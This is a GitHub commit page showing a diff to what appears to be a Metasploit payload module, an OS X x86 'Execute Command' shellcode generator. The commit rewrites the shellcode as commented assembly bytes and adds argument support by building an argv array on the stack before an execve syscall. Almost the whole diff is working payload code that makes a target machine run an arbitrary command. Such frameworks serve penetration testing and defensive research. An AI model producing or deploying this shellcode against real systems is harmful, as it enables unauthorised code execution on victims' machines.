Skip to content

Commit 5ab81e7

Browse files
committed
Convert to readable asm. Adds support for arguments.
* shellcode appears to do an unnecessary copy-to-stack, so will look into improving that.
1 parent 54af292 commit 5ab81e7

File tree

1 file changed

+53
-11
lines changed
  • modules/payloads/singles/osx/x86

1 file changed

+53
-11
lines changed

modules/payloads/singles/osx/x86/exec.rb

Lines changed: 53 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -26,7 +26,9 @@ def initialize(info = {})
2626
super(merge_info(info,
2727
'Name' => 'OS X Execute Command',
2828
'Description' => 'Execute an arbitrary command',
29-
'Author' => [ 'snagg <snagg[at]openssl.it>', 'argp <argp[at]census-labs.com>' ],
29+
'Author' => [ 'snagg <snagg[at]openssl.it>',
30+
'argp <argp[at]census-labs.com>',
31+
'joev <jvennix[at]rapid7.com>' ],
3032
'License' => BSD_LICENSE,
3133
'Platform' => 'osx',
3234
'Arch' => ARCH_X86))
@@ -35,22 +37,62 @@ def initialize(info = {})
3537
register_options(
3638
[
3739
OptString.new('CMD', [ true, "The command string to execute" ]),
38-
], self.class)
40+
], self.class
41+
)
3942
end
4043

4144
#
4245
# Dynamically builds the exec payload based on the user's options.
4346
#
4447
def generate_stage
45-
cmd = datastore['CMD'] || ''
46-
len = cmd.length + 1
47-
payload =
48-
"\x31\xc0\x50" +
49-
Rex::Arch::X86.call(len) + cmd +
50-
"\x00\x5e\x89\xe7\xb9" + Rex::Arch::X86.pack_word(len) +
51-
"\x00\x00\xfc\xf2\xa4\x89\xe3\x50" +
52-
"\x50\x53\xb0\x3b\x50\xcd\x80"
48+
cmd_str = datastore['CMD'] || ''
5349

54-
end
50+
# Split the cmd string into arg chunks
51+
cmd_parts = cmd_str.split(/[\s]+/)
52+
arg_str = cmd_parts.map { |a| "#{a}\x00" }.join
53+
arg_len = arg_str.length
54+
55+
# Stuff an array of arg strings into memory, then copy them all on to the stack
56+
payload = ''
57+
payload << "\x31\xc0" # XOR EAX, EAX (eax => 0)
58+
payload << "\x50" # PUSH EAX
59+
payload << Rex::Arch::X86.call(arg_len) # JMPs over CMD_STR, stores &CMD_STR on stack
60+
payload << arg_str
61+
payload << "\x5e" # POP ESI (ESI = &CMD)
62+
payload << "\x89\xe7" # MOV EDI, ESP
63+
payload << "\xb9" # MOV ECX ...
64+
payload << [arg_len].pack('V')
65+
payload << "\xfc" # CLD
66+
payload << "\xf2\xa4" # REPNE MOVSB (copies string on to stack)
67+
payload << "\x89\xe3" # MOV EBX, ESP (puts ref to copied str in EBX)
68+
69+
# now EBX contains &cmd_parts[0], the exe path (after it has been copied to the stack)
70+
if cmd_parts.length > 1
71+
# Build an array of pointers to the arguments we copied on to the stack
72+
payload << "\x89\xD9" # MOV ECX, EBX
73+
payload << "\x50" # PUSH EAX; null byte (end of array)
74+
payload << "\x89\xe2" # MOV EDX, ESP (EDX points to the end-of-array null byte)
75+
cmd_parts[1..-1].each_with_index do |arg, idx|
76+
# can probably save space here by doing the loop in ASM
77+
# for each arg, push its current memory location on to the stack
78+
payload << "\x81\xC1" # ADD ECX, + len of previous arg
79+
payload << [cmd_parts[idx].length+1].pack('V') # (cmd_parts[idx] is the prev arg)
80+
payload << "\x51" # PUSH ECX (&cmd_parts[idx])
81+
end
82+
payload << "\x53" # PUSH EBX (&cmd_parts[0])
83+
payload << "\x89\xe1" # MOV ECX, ESP (ptr to ptr to first str)
84+
payload << "\x52" # PUSH EDX
85+
payload << "\x51" # PUSH ECX
86+
else
87+
# pass NULL args array to execve() call
88+
payload << "\x50\x50" # PUSH EAX, PUSH EAX
89+
end
5590

91+
payload << "\x53" # PUSH EBX
92+
payload << "\xb0\x3b" # MOV AL, 0x3B (execve)
93+
payload << "\x50" # PUSH EAX
94+
payload << "\xcd\x80" # INT 0x80 (triggers execve syscall)
95+
96+
payload
97+
end
5698
end

0 commit comments

Comments
 (0)